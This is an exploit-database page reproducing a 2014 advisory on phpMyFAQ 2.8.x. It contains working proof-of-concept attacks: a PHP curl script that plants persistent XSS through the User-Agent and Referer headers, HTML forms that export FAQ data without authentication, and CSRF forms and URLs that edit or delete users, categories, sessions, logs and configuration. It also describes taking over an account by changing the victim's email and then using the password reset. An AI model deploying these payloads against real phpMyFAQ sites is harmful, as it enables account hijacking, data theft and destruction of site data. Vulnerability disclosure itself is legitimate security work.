Lucene search
K

phpMyFAQ 2.8.X - Multiple Vulnerabilities

🗓️ 04 Sep 2014 00:00:00Reported by Smash_Type 
zdt
 zdt
🔗 0day.today👁 32 Views

phpMyFAQ 2.8.X Multiple Vulnerabilities including Persistent XSS, Remote FAQ Disclosure, and CSRF. Allow attackers to view user session info, download and view FAQ data without restriction, and perform unauthorized actions like user edit, delete, or category deletion

Code
#Title: phpMyFAQ 2.8.X - Multiple Vulnerabilities
#Vendor: phpmyfaq.de
#Date: 04.09.19
#Version: >= 2.8.12 (Latest ATM)
#Tested on: Apache 2.2 / PHP 5.4 / Linux
#Contact: smash [at] devilteam.pl


1) Persistent XSS

Administrator is able to view information about specific user session in 'Statistic' tab. Over there, you may find informations such as user ip, refferer and user agent. 

For example, to view informations about session with ID 1, you need visit following address:
http://localhost/phpmyfaq/admin/?action=viewsession&id=1

Refferer and User Agent variables are not filtered, which allows attacker to inject javascript via those parameters. All you need to do, is to perform particular HTTP request which will contain javascript. For example, if you will produce hundrends of those request, there will be hundrends of Persistent XSS - Victim only needs to visit any of them.

PoC:

<?php
 
$ch =curl_init("http://localhost/phpmyfaq/index.php");
curl_setopt($ch,CURLOPT_USERAGENT,'<script>alert(666)</script>');
curl_setopt($ch, CURLOPT_REFERER, '<script>alert(123)</script>');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>

Vuln (viewsession):

<tbody>
    <tr>
<td>2014-09-04 02:22:04</td>
<td>new_session (0)</td>
    </tr>
    <tr>
<td>Referer:</td>
<td>
    <a href="<script>alert(123)</script>" target="_blank">
<script>alert(123)</script>    </a>
</td>
    </tr>
    <tr>
<td>Browser:</td>
<td><script>alert(666)</script></td>
    </tr>
    <tr>
<td>IP-Address:</td>
<td>::1</td>
    </tr>
</tbody>



2) Remote FAQ Disclosure

Administrator is able to view or download FAQ data using few extensions (xhtml, xml, pdf). Because of no user restrictions, attacker may reproduce this vulnerability to perform those actions even without having an account.

 - Download

<html>
  <body>
    <form action="http://localhost/phpmyfaq/admin/?action=exportfile" method="POST">
      <input type="hidden" name="catid" value="0" />
      <input type="hidden" name="downwards" value="1" />
      <input type="hidden" name="type" value="xml" />
      <input type="hidden" name="dispos" value="attachment" />
      <input type="hidden" name="submitExport" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 - View

<html>
  <body>
    <form action="http://localhost/phpmyfaq/admin/?action=exportfile" method="POST">
      <input type="hidden" name="catid" value="0" />
      <input type="hidden" name="downwards" value="1" />
      <input type="hidden" name="type" value="xml" />
      <input type="hidden" name="dispos" value="inline" />
      <input type="hidden" name="submitExport" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



3) CSRF

 - Edit user credentials (login/mail)

PoC:
<html>
  <body>
    <form action="http://localhost/phpmyfaq/admin/?action=user&user_action=update_data" method="POST">
      <input type="hidden" name="user&#95;id" value="1" />
      <input type="hidden" name="user&#95;status" value="active" />
      <input type="hidden" name="display&#95;name" value="haked" />
      <input type="hidden" name="email" value="victim&#64;vic&#46;tim" />
      <input type="hidden" name="last&#95;modified" value="undefined" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>

By then, you may generate new password for victim using 'Forgot password' option - just provide your email so you can grab it.


 - Delete user

http://localhost/phpmyfaq/admin/index.php?action=ajax&ajax=user&ajaxaction=delete_user&user_id=1


 - Delete category

http://localhost/phpmyfaq/admin/?action=deletecategory&cat=1&catlang=en


 - Delete session (month)

PoC:
<html>
  <body>
    <form action="http://localhost/phpmyfaq/admin/?action=viewsessions" method="POST">
      <input type="hidden" name="month" value="092014" />
      <input type="hidden" name="statdelete" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


 - Delete logs older than 30 days

http://localhost/phpmyfaq/admin/?action=deleteadminlog


 - Add stopword

http://localhost/phpmyfaq/admin/index.php?action=ajax&ajax=config&ajaxaction=save_stop_word&stopword=lolwut&stopwords_lang=en


 - Edit configuration

Affected:
Main configuration
FAQ records configuration
Search
Security configuration
Spam control center
Social network configuration

PoC:

<html>
  <body>
    <form action="http://localhost/phpmyfaq/admin/?action=config&config_action=saveConfig" method="POST">
      <input type="hidden" name="edit&#91;main&#46;language&#93;" value="language&#95;en&#46;php" />
      <input type="hidden" name="edit&#91;main&#46;languageDetection&#93;" value="true" />
      <input type="hidden" name="edit&#91;main&#46;titleFAQ&#93;" value="phpMyFAQ&#32;Codename&#32;Perdita" />
      <input type="hidden" name="edit&#91;main&#46;currentVersion&#93;" value="2&#46;8&#46;12" />
      <input type="hidden" name="edit&#91;main&#46;metaDescription&#93;" value="lolwat" />
      <input type="hidden" name="edit&#91;main&#46;metaKeywords&#93;" value="" />
      <input type="hidden" name="edit&#91;main&#46;metaPublisher&#93;" value="Whatever" />
      <input type="hidden" name="edit&#91;main&#46;administrationMail&#93;" value="what&#64;ever&#46;com" />
      <input type="hidden" name="edit&#91;main&#46;contactInformations&#93;" value="" />
      <input type="hidden" name="edit&#91;main&#46;send2friendText&#93;" value="" />
      <input type="hidden" name="edit&#91;main&#46;enableUserTracking&#93;" value="true" />
      <input type="hidden" name="edit&#91;main&#46;enableAdminLog&#93;" value="true" />
      <input type="hidden" name="edit&#91;main&#46;referenceURL&#93;" value="http&#58;&#47;&#47;localhost&#47;phpmyfaq" />
      <input type="hidden" name="edit&#91;main&#46;urlValidateInterval&#93;" value="86400" />
      <input type="hidden" name="edit&#91;main&#46;enableWysiwygEditor&#93;" value="true" />
      <input type="hidden" name="edit&#91;main&#46;templateSet&#93;" value="default" />
      <input type="hidden" name="edit&#91;main&#46;dateFormat&#93;" value="Y&#45;m&#45;d&#32;H&#58;i" />
      <input type="hidden" name="edit&#91;records&#46;maxAttachmentSize&#93;" value="100000" />
      <input type="hidden" name="edit&#91;records&#46;disableAttachments&#93;" value="true" />
      <input type="hidden" name="edit&#91;records&#46;numberOfRecordsPerPage&#93;" value="10" />
      <input type="hidden" name="edit&#91;records&#46;numberOfShownNewsEntries&#93;" value="3" />
      <input type="hidden" name="edit&#91;records&#46;numberOfRelatedArticles&#93;" value="5" />
      <input type="hidden" name="edit&#91;records&#46;orderby&#93;" value="id" />
      <input type="hidden" name="edit&#91;records&#46;sortby&#93;" value="DESC" />
      <input type="hidden" name="edit&#91;records&#46;attachmentsPath&#93;" value="attachments" />
      <input type="hidden" name="edit&#91;records&#46;defaultAttachmentEncKey&#93;" value="" />
      <input type="hidden" name="edit&#91;records&#46;orderingPopularFaqs&#93;" value="visits" />
      <input type="hidden" name="edit&#91;records&#46;autosaveSecs&#93;" value="180" />
      <input type="hidden" name="edit&#91;search&#46;numberSearchTerms&#93;" value="10" />
      <input type="hidden" name="edit&#91;search&#46;relevance&#93;" value="thema&#44;content&#44;keywords" />
      <input type="hidden" name="edit&#91;security&#46;bannedIPs&#93;" value="" />
      <input type="hidden" name="edit&#91;security&#46;permLevel&#93;" value="basic" />
      <input type="hidden" name="edit&#91;security&#46;ssoLogoutRedirect&#93;" value="" />
      <input type="hidden" name="edit&#91;spam&#46;enableSafeEmail&#93;" value="true" />
      <input type="hidden" name="edit&#91;spam&#46;checkBannedWords&#93;" value="true" />
      <input type="hidden" name="edit&#91;spam&#46;enableCaptchaCode&#93;" value="true" />
      <input type="hidden" name="edit&#91;socialnetworks&#46;twitterConsumerKey&#93;" value="" />
      <input type="hidden" name="edit&#91;socialnetworks&#46;twitterConsumerSecret&#93;" value="" />
      <input type="hidden" name="edit&#91;socialnetworks&#46;twitterAccessTokenKey&#93;" value="" />
      <input type="hidden" name="edit&#91;socialnetworks&#46;twitterAccessTokenSecret&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

#  0day.today [2018-03-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation